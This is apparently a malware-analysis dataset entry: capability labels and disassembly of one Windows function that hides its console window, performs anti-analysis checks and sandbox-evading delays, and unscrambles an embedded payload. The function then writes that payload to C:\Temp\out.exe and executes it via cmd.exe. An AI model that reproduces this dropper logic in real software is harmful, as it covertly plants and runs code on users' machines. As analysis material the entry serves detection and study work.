Function at 0x1400018e5
Capabilities:
Execute command
Hide graphical window
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov dword [rbp + 0x20], ecx
mov qword [rbp + 0x28], rdx
call dbg.__main
mov rax, rsp
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call sym.checks
cmp dword [rbp + 0x20], 1
je 0x140001937
mov ecx, 4
call sym.die
mov dword [rbp - 4], 0
jmp 0x140001953
mov ecx, 4
call sym.ProtectedSleep
call sym.checks
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x1f
jle 0x140001940
mov dword [rbp - 8], 2
mov dword [rbp - 0xc], 0
jmp 0x140001976
mov eax, dword [rbp - 8]
imul eax, eax
mov dword [rbp - 8], eax
add dword [rbp - 0xc], 1
cmp dword [rbp - 0xc], 0x7fffffff
jne 0x140001969
mov rdx, qword [0x140153900]
mov rax, qword [0x140153910]
sub rdx, rax
mov dword [rbp - 0x20], edx
mov rdx, qword [0x140153920]
mov rax, qword [0x140153930]
sub rdx, rax
mov rax, rdx
sar rax, 2
mov dword [rbp - 0x24], eax
mov eax, dword [rbp - 0x20]
movsxd rdx, eax
sub rdx, 1
mov qword [rbp - 0x30], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002c20
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x10], 0
jmp 0x140001a08
mov rdx, qword [0x140153910]
mov eax, dword [rbp - 0x10]
cdqe
movzx ecx, byte [rdx + rax]
mov rdx, qword [rbp - 0x38]
mov eax, dword [rbp - 0x10]
cdqe
mov byte [rdx + rax], cl
add dword [rbp - 0x10], 1
mov eax, dword [rbp - 0x10]
cmp eax, dword [rbp - 0x20]
jl 0x1400019e8
mov eax, dword [rbp - 0x24]
cdqe
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x40], rax
mov eax, dword [rbp - 0x24]
cdqe
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x14], 0
jmp 0x140001a6e
mov eax, dword [rbp - 0x14]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x40]
lea rcx, [rdx + rax]
mov rax, qword [0x140153930]
mov edx, dword [rbp - 0x14]
movsxd rdx, edx
mov eax, dword [rax + rdx*4]
mov dword [rcx], eax
add dword [rbp - 0x14], 1
mov eax, dword [rbp - 0x14]
cmp eax, dword [rbp - 0x24]
jl 0x140001a43
mov eax, dword [rbp - 0x20]
movsxd rdx, eax
sub rdx, 1
mov qword [rbp - 0x50], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002c20
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x18], 0
jmp 0x140001acd
mov rdx, qword [rbp - 0x38]
mov eax, dword [rbp - 0x18]
cdqe
movzx ecx, byte [rdx + rax]
mov rdx, qword [rbp - 0x58]
mov eax, dword [rbp - 0x18]
cdqe
mov byte [rdx + rax], cl
add dword [rbp - 0x18], 1
mov eax, dword [rbp - 0x18]
cmp eax, dword [rbp - 0x20]
jl 0x140001ab0
mov dword [rbp - 0x1c], 0
jmp 0x140001b19
mov rdx, qword [rbp - 0x58]
mov eax, dword [rbp - 0x1c]
cdqe
movzx eax, byte [rdx + rax]
movsx eax, al
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x1c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x40]
add rax, rdx
mov eax, dword [rax]
mov edx, dword [rbp - 0x64]
mov ecx, edx
mov rdx, qword [rbp - 0x38]
cdqe
mov byte [rdx + rax], cl
add dword [rbp - 0x1c], 1
mov eax, dword [rbp - 0x1c]
cmp eax, dword [rbp - 0x20]
jl 0x140001ade
lea rax, [0x14015309e]
mov rdx, rax
lea rax, str.C:Tempout.exe
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0x24]
movsxd rdx, eax
mov rcx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x38]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 0x60]
mov rcx, rax
call sym.fclose
lea rax, str.cmd.exe__c_C:Tempout.exe
mov rcx, rax
call sym.system
mov eax, 0
mov rsp, rbx
lea rsp, [rbp + 8]
pop rbx
pop rbp
ret